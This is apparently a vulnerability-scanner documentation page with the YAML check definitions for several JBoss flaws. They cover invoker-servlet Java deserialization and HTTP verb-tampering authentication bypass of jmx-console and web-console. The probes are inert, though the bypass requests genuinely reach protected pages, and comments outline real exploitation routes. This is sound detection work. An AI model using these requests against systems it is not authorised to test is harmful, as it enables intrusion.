JBoss — 5 vulnerability checks
noctis ships 5 vulnerability checks for JBoss, covering 9 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
JBoss / Tomcat unauthenticated EJBInvokerServlet / JMXInvokerServlet deserialization RCE
| CVE | CVE-2012-0874, CVE-2013-4810 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | set_var, http_request, script, tcp_dialogue, match · highest QoD 97 |
| Feed | tests/vulnerabilities/jboss/jboss-invoker-servlet-unauth-rce.yaml |
Reports when the EJBInvokerServlet / JMXInvokerServlet answer unauthenticated with a serialized object, and confirms the deserialization by POSTing a stream that names a non-existent class and observing the ClassNotFoundException reply.
How noctis detects it
- HTTP(S) request
GET /invoker/EJBInvokerServlet - HTTP(S) request
GET /invoker/JMXInvokerServlet - Parses / computes the next value with a Rhai script
- TCP dialogue: one binary protocol frame
- TCP dialogue: one binary protocol frame
- Parses / computes the next value with a Rhai script
- Checks
verdict.deserializesfor^true$→ finding QoD 97: Unauthenticated Java deserialization confirmed on …: a POSTed serialization stream naming the non-existent class … was passed to readObject… - Checks
verdict.exposedfor^true$→ finding QoD 75: JBoss HTTP invoker servlet(s) reachable without authentication: … answered HTTP 200 with a serialized org.jboss.invocation.MarshalledValue …
References:
- https://nvd.nist.gov/vuln/detail/CVE-2012-0874
- https://nvd.nist.gov/vuln/detail/CVE-2013-4810
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog
Feed source — tests/vulnerabilities/jboss/jboss-invoker-servlet-unauth-rce.yaml
uid: 6d3645a4-7151-4b55-b195-1781f77d1e3f
name: "JBoss / Tomcat unauthenticated EJBInvokerServlet / JMXInvokerServlet deserialization RCE (CVE-2012-0874, CVE-2013-4810)"
description: "Reports when the EJBInvokerServlet / JMXInvokerServlet answer unauthenticated with a serialized object, and confirms the deserialization by POSTing a stream that names a non-existent class and observing the ClassNotFoundException reply."
cves: [CVE-2012-0874, CVE-2013-4810]
cvss: 9.8
severity: critical
confidence_base: 0.30
category: rce
tags:
- jboss
- tomcat
- http-invoker
- ejbinvokerservlet
- jmxinvokerservlet
- deserialization
- rce
- intrusive
- kev
services:
- http
- https
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2012-0874"
- "https://nvd.nist.gov/vuln/detail/CVE-2013-4810"
- "https://www.cisa.gov/known-exploited-vulnerabilities-catalog"
# CVE-2012-0874 / CVE-2013-4810 — JBoss AS (and the HP/Tomcat products that embed it)
# expose the HTTP invoker servlets /invoker/EJBInvokerServlet and /invoker/JMXInvokerServlet
# without authentication. Both read the request body with ObjectInputStream.readObject()
# (expecting a MarshalledInvocation), so an unauthenticated attacker can POST a marshalled
# object and get remote code execution (deploy an application, gadget chain, …).
#
# Ported from OpenVAS/Greenbone NVT 2013/gb_jboss_tomcat_62854.nasl
# (OID 1.3.6.1.4.1.25623.1.0.103811, GPL-2.0-only), then strengthened.
#
# How a vulnerable invoker answers: the servlet wraps ANY failure of readObject() in an
# InvocationException, puts it in a org.jboss.invocation.MarshalledValue and serializes
# that back with Content-Type application/x-java-serialized-object. That is why the
# NASL's bodyless GET already gets a MarshalledValue (the EOFException of the empty body).
#
# Two detection branches, both inert:
#
# 1. Deserialization-sink confirmation (QoD 97) — the real primitive, exercised
# benignly. POST a minimal, well-formed Java serialization stream (magic ac ed 00 05)
# whose single object is of a class that cannot exist: noctis.NoctisProbe<random hex>.
# A vulnerable servlet feeds it to readObject(), which resolves the class descriptor,
# fails with ClassNotFoundException("noctis.NoctisProbe<hex>") and serializes that
# exception back. Finding both our random class name and "ClassNotFoundException" in
# the reply proves the unauthenticated endpoint deserializes attacker-supplied object
# graphs. Nothing is instantiated, loaded, executed or written: the class does not
# exist and the object has no fields. The random name cannot appear unless the server
# parsed our stream, and "ClassNotFoundException" is not in what we send, so a server
# that merely echoes the request cannot match.
# Why not an OOB callback: the JDK-only URLDNS gadget triggers a DNS lookup, never the
# HTTP request noctis's OOB listener waits for, and an HTTP callback would need a
# code-execution gadget chain — not a benign probe. Not deployed via the servlet
# either (that would write on the target).
#
# 2. Exposure, faithful to the NASL (QoD 75) — GET each servlet: HTTP 200, body contains
# org.jboss.invocation.MarshalledValue, Content-Type contains x-java-serialized-object,
# no WWW-Authenticate header.
#
# Better than the NASL:
# - the POST probe runs even when the GET looks protected, so a security-constraint that
# only covers GET (verb-tampering style misconfiguration) is still caught;
# - the NASL's whole-response `"404" >!< res` test is dropped: a 404 inside the binary
# serialized body (or a Content-Length of 404) made it miss real exposures;
# - the higher-QoD branch proves the deserialization sink is live instead of inferring it.
steps:
# ── Pre-initialise every stored result read by the evaluate script ─────────
# A failed request leaves store_as unset, and an undefined variable aborts the test.
- id: init-ejb-get
action: set_var
var_name: ejb_get
var_value: {status: 0, body: "", headers: {}}
- id: init-jmx-get
action: set_var
var_name: jmx_get
var_value: {status: 0, body: "", headers: {}}
- id: init-ejb-post
action: set_var
var_name: ejb_post
var_value: {connected: false, response_hex: ""}
- id: init-jmx-post
action: set_var
var_name: jmx_post
var_value: {connected: false, response_hex: ""}
# ── Branch 2 inputs: benign GETs, exactly the NASL's requests ──────────────
- id: get-ejb
action: http_request
method: GET
path: /invoker/EJBInvokerServlet
port: "{{port}}"
tls_insecure: true
follow_redirects: false
store_as: ejb_get
- id: get-jmx
action: http_request
method: GET
path: /invoker/JMXInvokerServlet
port: "{{port}}"
tls_insecure: true
follow_redirects: false
store_as: jmx_get
# ── Branch 1 inputs: POST an unresolvable-class serialization stream ───────
- id: build-probe
action: script
store_as: probe
code: |
let cls = "noctis.NoctisProbe" + rand_hex(8);
// ObjectOutputStream layout of one object of class `cls`, no fields, no superclass:
// STREAM_MAGIC/VERSION, TC_OBJECT, TC_CLASSDESC, name, serialVersionUID,
// SC_SERIALIZABLE, 0 fields, TC_ENDBLOCKDATA, TC_NULL (no superclass descriptor).
let body = "aced0005";
body += "7372";
body += p16be(strlen(cls));
body += hexstr(cls);
body += "0000000000000001";
body += "02";
body += "0000";
body += "78";
body += "70";
let blen = strlen(body) / 2;
let hdr = " HTTP/1.1\r\n";
let h = target_host;
if h.contains(":") && !h.starts_with("[") { h = "[" + h + "]"; } // IPv6 literal
hdr += "Host: " + h + ":" + port.to_string() + "\r\n";
hdr += "Content-Type: application/x-java-serialized-object; class=org.jboss.invocation.MarshalledInvocation\r\n";
hdr += "Content-Length: " + blen.to_string() + "\r\n";
hdr += "Connection: close\r\n";
hdr += "\r\n";
let ejb = hexstr("POST /invoker/EJBInvokerServlet" + hdr) + body;
let jmx = hexstr("POST /invoker/JMXInvokerServlet" + hdr) + body;
#{ cls: cls, cls_hex: hexstr(cls), ejb_frame: ejb, jmx_frame: jmx }
# Engine limit: tcp_dialogue stops reading if no byte arrives within 500 ms of the
# write (src/checks/dialogue.rs READ_IDLE_MS), so a target slower than that to answer
# only gets the QoD 75 exposure finding (or none if GET is protected) — see the issue
# #1417.
- id: post-ejb
action: tcp_dialogue
port: "{{port}}"
read_banner: false
send_hex: "{{probe.ejb_frame}}"
timeout_secs: 10
store_as: ejb_post
- id: post-jmx
action: tcp_dialogue
port: "{{port}}"
read_banner: false
send_hex: "{{probe.jmx_frame}}"
timeout_secs: 10
store_as: jmx_post
# ── Evaluate both branches for both servlets ───────────────────────────────
- id: evaluate
action: script
store_as: verdict
code: |
let cnfe = hexstr("ClassNotFoundException");
let deser = [];
let ejb_hex = "";
if type_of(ejb_post.response_hex) == "string" { ejb_hex = ejb_post.response_hex; }
if ejb_hex.contains(probe.cls_hex) && ejb_hex.contains(cnfe) { deser.push("/invoker/EJBInvokerServlet"); }
let jmx_hex = "";
if type_of(jmx_post.response_hex) == "string" { jmx_hex = jmx_post.response_hex; }
if jmx_hex.contains(probe.cls_hex) && jmx_hex.contains(cnfe) { deser.push("/invoker/JMXInvokerServlet"); }
let exposed = [];
let ejb_ct = "";
if "content-type" in ejb_get.headers { ejb_ct = ejb_get.headers["content-type"]; }
if ejb_get.status == 200 && ejb_ct.contains("x-java-serialized-object")
&& ejb_get.body.contains("org.jboss.invocation.MarshalledValue")
&& !("www-authenticate" in ejb_get.headers) { exposed.push("/invoker/EJBInvokerServlet"); }
let jmx_ct = "";
if "content-type" in jmx_get.headers { jmx_ct = jmx_get.headers["content-type"]; }
if jmx_get.status == 200 && jmx_ct.contains("x-java-serialized-object")
&& jmx_get.body.contains("org.jboss.invocation.MarshalledValue")
&& !("www-authenticate" in jmx_get.headers) { exposed.push("/invoker/JMXInvokerServlet"); }
#{
deserializes: deser.len() > 0,
deser_urls: deser.reduce(|s, v| if s == "" { v } else { s + ", " + v }, ""),
exposed: exposed.len() > 0,
exposed_urls: exposed.reduce(|s, v| if s == "" { v } else { s + ", " + v }, "")
}
# Branch 1 — deserialization sink confirmed (QoD 97: the server provably deserialized our
# object — same probe as jboss/CVE-2017-12149 on /invoker/readonly).
- id: confirm-deserialization
action: match
source: verdict.deserializes
pattern: "^true$"
on_match:
finding:
confidence_delta: 0.65 # 0.30 + 0.65 = 0.95
qod: 97
evidence: "Unauthenticated Java deserialization confirmed on {{verdict.deser_urls}}: a POSTed serialization stream naming the non-existent class {{probe.cls}} was passed to readObject() and answered with ClassNotFoundException for that class (inert probe, nothing loaded or executed)"
stop: true
# Branch 2 — NASL exposure signature (QoD 75).
- id: confirm-exposure
action: match
source: verdict.exposed
pattern: "^true$"
on_match:
finding:
confidence_delta: 0.50 # 0.30 + 0.50 = 0.80
qod: 75
evidence: "JBoss HTTP invoker servlet(s) reachable without authentication: {{verdict.exposed_urls}} answered HTTP 200 with a serialized org.jboss.invocation.MarshalledValue (Content-Type x-java-serialized-object, no WWW-Authenticate)"JBoss Application Server HTTPInvoker Java deserialization RCE
| CVE | CVE-2017-12149 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | set_var, http_request, script, tcp_open, tcp_send, sleep, tcp_close, match · highest QoD 97 |
| Feed | tests/vulnerabilities/jboss/CVE-2017-12149.yaml |
POSTs to /invoker/readonly a minimal Java serialization stream whose only object is of a random, non-existent class, and reports when the error reply names a ClassNotFoundException for that exact class: the unauthenticated ReadOnlyAccessFilter passed the body to readObject(). Without that proof, reports the exposure when a plain GET of /invoker/readonly fails with the filter's EOFException stack trace (an empty body fed to ObjectInputStream) while a random control path does not.
How noctis detects it
- HTTP(S) request
GET /invoker/readonly - HTTP(S) request
GET /invoker/noctis-control-{{oob_token}} - Parses / computes the next value with a Rhai script
- Opens a persistent TCP/TLS socket
- Sends a binary frame on the open socket
- Sends
…on the open socket - Parses / computes the next value with a Rhai script
- Checks
verdict.deserializesfor^true$→ finding QoD 97: POST /invoker/readonly with a serialization stream naming the non-existent class …: HTTP … reply reports ClassNotFoundException for that cl… - Checks
verdict.exposedfor^true$→ finding QoD 75: GET /invoker/readonly reached the HTTP invoker ReadOnlyAccessFilter unauthenticated: HTTP … with the EOFException / ReadOnlyAccessFilter st…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2017-12149
- https://chowdera.com/2021/04/20210424213148599t.html
Feed source — tests/vulnerabilities/jboss/CVE-2017-12149.yaml
uid: 28adfa5a-2d99-440b-be56-4f60e1111b22
name: "JBoss Application Server HTTPInvoker Java deserialization RCE (CVE-2017-12149)"
description: "POSTs to /invoker/readonly a minimal Java serialization stream whose only object is of a random, non-existent class, and reports when the error reply names a ClassNotFoundException for that exact class: the unauthenticated ReadOnlyAccessFilter passed the body to readObject(). Without that proof, reports the exposure when a plain GET of /invoker/readonly fails with the filter's EOFException stack trace (an empty body fed to ObjectInputStream) while a random control path does not."
cves: [CVE-2017-12149]
cvss: 9.8
severity: critical
confidence_base: 0.30
category: rce
tags:
- jboss
- http-invoker
- readonly
- deserialization
- rce
- intrusive
services:
- http
- https
author: noctis
version: "1.1.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2017-12149"
- "https://chowdera.com/2021/04/20210424213148599t.html"
# CVE-2017-12149 — JBoss Application Server HTTPInvoker ReadOnlyAccessFilter Java
# deserialization RCE. The filter is mapped on /invoker/readonly/* and, for every
# unauthenticated request, does:
#
# ObjectInputStream ois = new ObjectInputStream(request.getInputStream());
# try { mi = (MarshalledInvocation) ois.readObject(); }
# catch (ClassNotFoundException e) {
# throw new ServletException("Failed to read MarshalledInvocation", e); }
#
# so any POSTed object graph is deserialized before anything is checked.
# Behaviour checked against the ReadOnlyAccessFilter.class shipped in JBoss AS 6.1.0
# (invoker.war) running in Tomcat 9: GET -> 500 "java.io.EOFException ...
# ReadOnlyAccessFilter.doFilter"; POST of the probe below -> 500 "Failed to read
# MarshalledInvocation", root cause "java.lang.ClassNotFoundException: <probe class>".
#
# Two detection branches, both inert:
#
# 1. Deserialization-sink confirmation (QoD 97). POST a well-formed serialization
# stream (ac ed 00 05) whose single object is of the class noctis.NoctisProbe<random
# hex>, which cannot exist. readObject() resolves the class descriptor, fails with
# ClassNotFoundException naming it, and the error report shows that root cause. The
# random name in a ClassNotFoundException proves the server parsed our stream with
# readObject(); "ClassNotFoundException" is not in what we send, so a server that
# only echoes the request cannot match. Nothing is loaded, instantiated or executed.
# (The previous OOB branch posted a URLDNS gadget and waited for an HTTP callback,
# but URLDNS only triggers a DNS lookup on a real JDK, so it could never fire —
# issue #1379.) Needs the container's error report to show exception details, the
# default on JBoss AS.
#
# 2. Exposure (QoD 75). A bodyless GET makes the filter build an ObjectInputStream on
# an empty body: 500 with java.io.EOFException and ReadOnlyAccessFilter in the stack
# trace. A random control path must not carry those strings (catches sites that
# print the same text everywhere). The former "200 + Content-Type
# x-java-serialized-object" signature is not what the filter answers.
steps:
# ── Pre-initialise every stored result read by the evaluate script ─────────
# A failed request leaves store_as unset, and an undefined variable aborts the test.
- id: init-invoker
action: set_var
var_name: invoker_resp
var_value: {status: 0, body: "", headers: {}}
- id: init-control
action: set_var
var_name: control_resp
var_value: {status: 0, body: "", headers: {}}
- id: init-reply
action: set_var
var_name: reply
var_value: {responded: false, response: null}
- id: init-late
action: set_var
var_name: late
var_value: {responded: false, response: null}
# ── Branch 2 inputs: benign GETs ───────────────────────────────────────────
- id: invoker-probe
action: http_request
method: GET
path: /invoker/readonly
port: "{{port}}"
tls_insecure: true
follow_redirects: false
store_as: invoker_resp
- id: control-probe
action: http_request
method: GET
path: /invoker/noctis-control-{{oob_token}}
port: "{{port}}"
tls_insecure: true
follow_redirects: false
store_as: control_resp
# ── Branch 1: POST an unresolvable-class serialization stream ──────────────
- id: build-probe
action: script
store_as: probe
code: |
let cls = "noctis.NoctisProbe" + rand_hex(8);
// ObjectOutputStream layout of one object of class `cls`, no fields, no superclass:
// STREAM_MAGIC/VERSION, TC_OBJECT, TC_CLASSDESC, name, serialVersionUID,
// SC_SERIALIZABLE, 0 fields, TC_ENDBLOCKDATA, TC_NULL (no superclass descriptor).
let body = "aced0005";
body += "7372";
body += p16be(strlen(cls));
body += hexstr(cls);
body += "0000000000000001";
body += "02";
body += "0000";
body += "78";
body += "70";
let blen = strlen(body) / 2;
let h = target_host;
if h.contains(":") && !h.starts_with("[") { h = "[" + h + "]"; } // IPv6 literal
// HTTP/1.0: the error page comes back unchunked, so no chunk header can split it.
let req = "POST /invoker/readonly HTTP/1.0\r\n";
req += "Host: " + h + ":" + port.to_string() + "\r\n";
req += "Content-Type: application/x-java-serialized-object; class=org.jboss.invocation.MarshalledInvocation\r\n";
req += "Content-Length: " + blen.to_string() + "\r\n";
req += "Connection: close\r\n";
req += "\r\n";
#{ cls: cls, frame: hexstr(req) + body }
# Raw socket (TLS auto-wrapped on https): the body is binary.
- id: open-invoker
action: tcp_open
handle: inv
port: "{{port}}"
timeout_secs: 10
store_as: conn
- id: send-probe
action: tcp_send
handle: inv
send_hex: "{{probe.frame}}"
store_as: reply
# tcp_send gives up when the first reply byte takes > 500 ms (#1417). Wait, then read
# late bytes on the same socket (returns at once when the server already closed).
- id: wait-late
action: sleep
duration_ms: 3000
condition: "reply.responded == false"
- id: read-late
action: tcp_send
handle: inv
send: ""
store_as: late
- id: close-invoker
action: tcp_close
handle: inv
# ── Evaluate both branches ─────────────────────────────────────────────────
- id: evaluate
action: script
store_as: verdict
code: |
let post = "";
if type_of(reply.response) == "string" { post += reply.response; }
if type_of(late.response) == "string" { post += late.response; }
let pstatus = "";
let m = eregmatch("^HTTP/[0-9.]+ ([0-9]{3})", post);
if m.len() >= 2 { pstatus = m[1]; }
let deser = post.contains("ClassNotFoundException") && post.contains(probe.cls);
let gbody = "";
if type_of(invoker_resp.body) == "string" { gbody = invoker_resp.body; }
let cbody = "";
if type_of(control_resp.body) == "string" { cbody = control_resp.body; }
let gsig = gbody.contains("ReadOnlyAccessFilter") || (gbody.contains("java.io.EOFException") && gbody.contains("ObjectInputStream"));
let csig = cbody.contains("ReadOnlyAccessFilter") || (cbody.contains("java.io.EOFException") && cbody.contains("ObjectInputStream"));
let exposed = invoker_resp.status == 500 && gsig && !csig;
#{ deserializes: deser, post_status: pstatus, exposed: exposed, get_status: invoker_resp.status }
- id: confirm-deserialization
action: match
source: verdict.deserializes
pattern: "^true$"
on_match:
finding:
confidence_delta: 0.65 # 0.30 + 0.65 = 0.95
qod: 97
evidence: "POST /invoker/readonly with a serialization stream naming the non-existent class {{probe.cls}}: HTTP {{verdict.post_status}} reply reports ClassNotFoundException for that class — the unauthenticated ReadOnlyAccessFilter passed the body to readObject() (inert probe, nothing loaded or executed)"
stop: true
- id: confirm-exposure
action: match
source: verdict.exposed
pattern: "^true$"
on_match:
finding:
confidence_delta: 0.45 # 0.30 + 0.45 = 0.75
qod: 75
evidence: "GET /invoker/readonly reached the HTTP invoker ReadOnlyAccessFilter unauthenticated: HTTP {{verdict.get_status}} with the EOFException / ReadOnlyAccessFilter stack trace of an empty body fed to ObjectInputStream; a random control path showed no such trace"JBoss jmx-console / web-console HTTP verb tampering auth bypass and status servlet disclosure
| CVE | CVE-2010-0738, CVE-2010-1428, CVE-2010-1429, CVE-2008-3273 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | auth-bypass — Auth bypass |
| Services | http, https |
| Detection | set_var, http_request, script, match · highest QoD 75 |
| Feed | tests/vulnerabilities/jboss/jboss-console-auth-bypass.yaml |
Red Hat JBoss AS / EAP protects the jmx-console and web-console with a security-constraint that only lists the GET and POST methods, so any other HTTP verb reaches the protected servlets and JSPs without authentication (CVE-2010-0738 for jmx-console, CVE-2010-1428 for web-console). The status servlet additionally lists the deployed web contexts to anyone (CVE-2008-3273, regressed as CVE-2010-1429). Detection replays the bypass on read-only pages and reports only when a GET of the same resource is refused (401/403) while the other verb returns the protected content.
How noctis detects it
- HTTP(S) request
GET /jmx-console/checkJNDI.jsp - HTTP(S) request
PUT /jmx-console/checkJNDI.jsp - Parses / computes the next value with a Rhai script
- Checks
jmx.vulnerablefor^true$→ finding QoD 75: JBoss jmx-console authentication bypass via HTTP verb tampering (CVE-2010-0738) - HTTP(S) request
HEAD /jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo - HTTP(S) request
GET /jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo - HTTP(S) request
HEAD /jmx-console/noctis-{{oob_token}}.jsp - Parses / computes the next value with a Rhai script
- Checks
hta.vulnerablefor^true$→ finding QoD 70: JBoss jmx-console authentication bypass via HTTP verb tampering (CVE-2010-0738) - HTTP(S) request
GET /web-console/ServerInfo.jsp - HTTP(S) request
PUT /web-console/ServerInfo.jsp - Parses / computes the next value with a Rhai script
- Checks
web.vulnerablefor^true$→ finding QoD 75: JBoss web-console authentication bypass via HTTP verb tampering (CVE-2010-1428) - HTTP(S) request
GET /status?full=true - … and 2 more steps — see the feed source below
References:
- https://nvd.nist.gov/vuln/detail/CVE-2010-0738
- https://nvd.nist.gov/vuln/detail/CVE-2010-1428
- https://nvd.nist.gov/vuln/detail/CVE-2010-1429
- https://nvd.nist.gov/vuln/detail/CVE-2008-3273
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog
- https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/http/jboss_vulnscan.rb
Feed source — tests/vulnerabilities/jboss/jboss-console-auth-bypass.yaml
uid: 926a29f4-aa15-4a76-ac0b-e88c6eeb8c79
name: "JBoss jmx-console / web-console HTTP verb tampering auth bypass and status servlet disclosure"
description: |
Red Hat JBoss AS / EAP protects the jmx-console and web-console with a
security-constraint that only lists the GET and POST methods, so any other
HTTP verb reaches the protected servlets and JSPs without authentication
(CVE-2010-0738 for jmx-console, CVE-2010-1428 for web-console). The status
servlet additionally lists the deployed web contexts to anyone
(CVE-2008-3273, regressed as CVE-2010-1429). Detection replays the bypass
on read-only pages and reports only when a GET of the same resource is
refused (401/403) while the other verb returns the protected content.
cves: [CVE-2010-0738, CVE-2010-1428, CVE-2010-1429, CVE-2008-3273]
# Severity reflects impact, not NVD's base score (NVD scores CVE-2010-0738 v3.1 5.3,
# the others only v2 5.0): the jmx-console bypass lets HEAD invoke any MBean operation,
# e.g. MainDeployer.deploy of a remote WAR -> unauthenticated RCE, exploited in the wild
# (CISA KEV, ransomware). Per-finding cvss/severity below are noctis estimates.
cvss: 9.8
severity: critical
confidence_base: 0.30
# One category per feed: the /status disclosure finding is also tagged auth-bypass, so
# exclude_categories: [auth-bypass] skips it too.
category: auth-bypass
tags: [jboss, jmx-console, web-console, verb-tampering, auth-bypass, info-disclosure, kev, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2010-0738"
- "https://nvd.nist.gov/vuln/detail/CVE-2010-1428"
- "https://nvd.nist.gov/vuln/detail/CVE-2010-1429"
- "https://nvd.nist.gov/vuln/detail/CVE-2008-3273"
- "https://www.cisa.gov/known-exploited-vulnerabilities-catalog"
- "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/http/jboss_vulnscan.rb"
# Ported from OpenVAS/Greenbone NVT 2010/gb_jboss_enterprise_application_server_39710.nasl
# (OID 1.3.6.1.4.1.25623.1.0.100610, GPL-2.0-only): GET /jmx-console must be refused,
# then PUT /jmx-console/checkJNDI.jsp must return 200 with "JNDI Check</title>" and
# "JNDI Checking for host".
#
# Proof of exploitation (benign): the auth bypass is exercised for real — the protected
# JSP is executed and its dynamic output comes back without credentials. Only read-only
# pages are requested (checkJNDI.jsp, ServerInfo.jsp, MBean inspection, /status); no
# MBean operation is invoked, nothing is deployed or written. A blind OOB proof would
# need an MBean operation that fetches a URL (MainDeployer.deploy), which leaves state
# on the target, so it is deliberately not used.
#
# Improvements over the NASL:
# * The refusal baseline is a GET of the SAME resource that is then tampered with.
# The NASL checks GET /jmx-console (no trailing slash), which a real JBoss answers
# with a 302 to /jmx-console/ before the auth valve runs — the NASL then exits and
# misses the vulnerable host.
# * Fallback for consoles without checkJNDI.jsp: HEAD of the HtmlAdaptor MBean
# inspection page (the verb real exploits use) returns 200 while GET of the same URL
# is refused, and a HEAD of a non-existent console path is NOT 200 (rules out a server
# answering 200 to every HEAD). Status-only proof, so QoD 70.
# * CVE-2010-1428 (web-console) and CVE-2010-1429 / CVE-2008-3273 (status servlet),
# named by the NASL but never tested by it, are proved separately, each finding
# carrying only the CVE(s) it proves.
steps:
# Pre-initialise every stored result read by a script: a failed request leaves
# `store_as` unset, and an undefined variable aborts the whole test.
- id: init-jmx-get
action: set_var
var_name: jmx_get
var_value: {status: 0, body: ""}
- id: init-jmx-put
action: set_var
var_name: jmx_put
var_value: {status: 0, body: ""}
- id: init-head
action: set_var
var_name: hta_head
var_value: {status: 0, body: ""}
- id: init-head-get
action: set_var
var_name: hta_get
var_value: {status: 0, body: ""}
- id: init-head-ctrl
action: set_var
var_name: hta_ctrl
var_value: {status: 0, body: ""}
- id: init-web-get
action: set_var
var_name: web_get
var_value: {status: 0, body: ""}
- id: init-web-put
action: set_var
var_name: web_put
var_value: {status: 0, body: ""}
- id: init-status
action: set_var
var_name: status_resp
var_value: {status: 0, body: ""}
# ── CVE-2010-0738 — jmx-console ───────────────────────────────────────────
# 1. Baseline: GET of the protected JSP must be refused.
- id: jmx-get
action: http_request
method: GET
path: /jmx-console/checkJNDI.jsp
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: jmx_get
# 2. Verb tampering: PUT is outside the GET/POST-only security-constraint, so the
# JSP runs without authentication. The JSP only reads JNDI; the PUT carries no body.
- id: jmx-put
action: http_request
condition: "jmx_get.status == 401 || jmx_get.status == 403"
method: PUT
path: /jmx-console/checkJNDI.jsp
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: jmx_put
- id: jmx-eval
action: script
store_as: jmx
code: |
let refused = jmx_get.status == 401 || jmx_get.status == 403;
let b = if type_of(jmx_put.body) == "string" { jmx_put.body } else { "" };
let ok = refused && jmx_put.status == 200
&& b.contains("JNDI Check</title>") && b.contains("JNDI Checking for host");
#{ vulnerable: ok, get_status: jmx_get.status, put_status: jmx_put.status }
- id: jmx-report
action: match
source: jmx.vulnerable
pattern: "^true$"
on_match:
finding:
cves: [CVE-2010-0738]
cvss: 9.8
severity: critical
title: "JBoss jmx-console authentication bypass via HTTP verb tampering (CVE-2010-0738)"
confidence_delta: 0.55 # 0.30 + 0.55 = 0.85
qod: 75
evidence: "GET /jmx-console/checkJNDI.jsp refused (HTTP {{jmx.get_status}}) but PUT returned HTTP {{jmx.put_status}} with the executed 'JNDI Check' page — protected jmx-console JSP ran without authentication"
# 3. Fallback when checkJNDI.jsp did not prove it: HEAD of the HtmlAdaptor MBean
# inspection page (read-only) vs GET of the same URL, plus a HEAD control.
- id: hta-head
action: http_request
condition: "jmx.vulnerable == false"
method: HEAD
path: "/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: hta_head
- id: hta-get
action: http_request
condition: "jmx.vulnerable == false && hta_head.status == 200"
method: GET
path: "/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: hta_get
- id: hta-ctrl
action: http_request
condition: "jmx.vulnerable == false && hta_head.status == 200"
method: HEAD
path: "/jmx-console/noctis-{{oob_token}}.jsp"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: hta_ctrl
- id: hta-eval
action: script
store_as: hta
code: |
let ok = jmx.vulnerable == false && hta_head.status == 200
&& (hta_get.status == 401 || hta_get.status == 403)
&& hta_ctrl.status != 0 && hta_ctrl.status != 200;
#{ vulnerable: ok, head_status: hta_head.status, get_status: hta_get.status, ctrl_status: hta_ctrl.status }
- id: hta-report
action: match
source: hta.vulnerable
pattern: "^true$"
on_match:
finding:
cves: [CVE-2010-0738]
cvss: 9.8
severity: critical
title: "JBoss jmx-console authentication bypass via HTTP verb tampering (CVE-2010-0738)"
confidence_delta: 0.40 # 0.30 + 0.40 = 0.70
qod: 70
evidence: "HEAD /jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo answered HTTP {{hta.head_status}} while GET of the same URL was refused (HTTP {{hta.get_status}}); HEAD of a non-existent console path answered HTTP {{hta.ctrl_status}}"
# ── CVE-2010-1428 — web-console ───────────────────────────────────────────
- id: web-get
action: http_request
method: GET
path: /web-console/ServerInfo.jsp
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: web_get
- id: web-put
action: http_request
condition: "web_get.status == 401 || web_get.status == 403"
method: PUT
path: /web-console/ServerInfo.jsp
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: web_put
- id: web-eval
action: script
store_as: web
code: |
let refused = web_get.status == 401 || web_get.status == 403;
let b = if type_of(web_put.body) == "string" { web_put.body } else { "" };
let ok = refused && web_put.status == 200
&& (b.contains("JBoss Management Console") || b.contains("Application Server"));
#{ vulnerable: ok, get_status: web_get.status, put_status: web_put.status }
- id: web-report
action: match
source: web.vulnerable
pattern: "^true$"
on_match:
finding:
cves: [CVE-2010-1428]
cvss: 7.5
severity: high
title: "JBoss web-console authentication bypass via HTTP verb tampering (CVE-2010-1428)"
confidence_delta: 0.55 # 0.30 + 0.55 = 0.85
qod: 75
evidence: "GET /web-console/ServerInfo.jsp refused (HTTP {{web.get_status}}) but PUT returned HTTP {{web.put_status}} with the JBoss Management Console server-info page — protected web-console JSP ran without authentication"
# ── CVE-2010-1429 / CVE-2008-3273 — status servlet ────────────────────────
- id: status-get
action: http_request
method: GET
path: "/status?full=true"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: status_resp
- id: status-eval
action: script
store_as: st
code: |
let b = if type_of(status_resp.body) == "string" { status_resp.body } else { "" };
let ok = status_resp.status == 200
&& b.contains("<title>Tomcat Status</title>") && b.contains("localhost/");
#{ vulnerable: ok, status: status_resp.status }
- id: status-report
action: match
source: st.vulnerable
pattern: "^true$"
on_match:
finding:
cves: [CVE-2010-1429, CVE-2008-3273]
cvss: 5.3
severity: medium
title: "JBoss status servlet discloses deployed web contexts (CVE-2010-1429 / CVE-2008-3273)"
confidence_delta: 0.55 # 0.30 + 0.55 = 0.85
qod: 75
evidence: "GET /status?full=true answered HTTP {{st.status}} without authentication with the 'Tomcat Status' page listing the deployed web contexts"Red Hat JBoss JMXInvokerServlet Commons-Collections Java deserialization RCE
| CVE | CVE-2015-7501 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, set_var, tcp_open, tcp_send, sleep, tcp_close, match · highest QoD 97 |
